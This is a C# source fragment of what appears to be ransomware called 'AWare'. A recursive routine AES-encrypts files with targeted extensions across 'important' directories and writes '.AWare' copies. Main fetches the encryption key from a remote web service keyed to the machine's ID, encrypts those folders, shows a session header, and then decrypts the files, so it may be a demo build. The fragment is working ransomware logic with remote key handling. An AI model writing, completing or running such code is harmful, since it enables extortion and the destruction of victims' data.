internal static void EncryptDirectories(this string Paths, AesServices _aesServices, string SecretKey) { try { string[] Files = Directory.GetFiles(Paths); string[] ChildDirectories = Directory.GetDirectories(Paths); foreach (var i in Files) { var fileInfo = new FileInfo(i); if (Path.GetExtension(i).Contains("AWare")) { Program.ProtectedFiles.Add(fileInfo.FullName); continue; } else if (!Extensions.Contains(Path.GetExtension(i))) { continue; } Program.ProtectedFiles.Add(_aesServices.EncryptFile(i, $"{fileInfo.FullName}.AWare", SecretKey, 10)); } foreach (var Directories in ChildDirectories) { Directories.EncryptDirectories(_aesServices, SecretKey); } } catch (Exception ex) { File.AppendAllText("Error_Log.AWare", ex.Message + Environment.NewLine); } }
private static async Task Main() { _aesServices = new AesServices(); var aWareResponse = await new AWareWebServices(new UidHelper().Id).InitializeAWareWebServicesAsync(); if (!aWareResponse.success) { Environment.Exit(0); } SecretKey = _aesServices.DecryptString(aWareResponse.SecretKey, aWareResponse.EncryptionKey); foreach (var i in ImportantPaths) { i.EncryptDirectories(_aesServices, SecretKey); } if (Console.WindowWidth != 220) { Console.WindowWidth = 220; } var consoleUpdateThread = new Thread(async() => { while (true) { Console.Title = ConsoleTitle; await Task.Delay(25); } }); consoleUpdateThread.Start(); ConsoleHelper.AsciiHeader(aWareResponse.SessionID); foreach (var i in ProtectedFiles) { while (true) { try { var fileInfo = new FileInfo(i); if (!fileInfo.Name.ToLower().Contains("aware")) { break; } _aesServices.DecryptFile(i, $"{fileInfo.FullName.Replace(".AWare", "")}", SecretKey, 10); break; } catch { continue; } } } Environment.Exit(0); }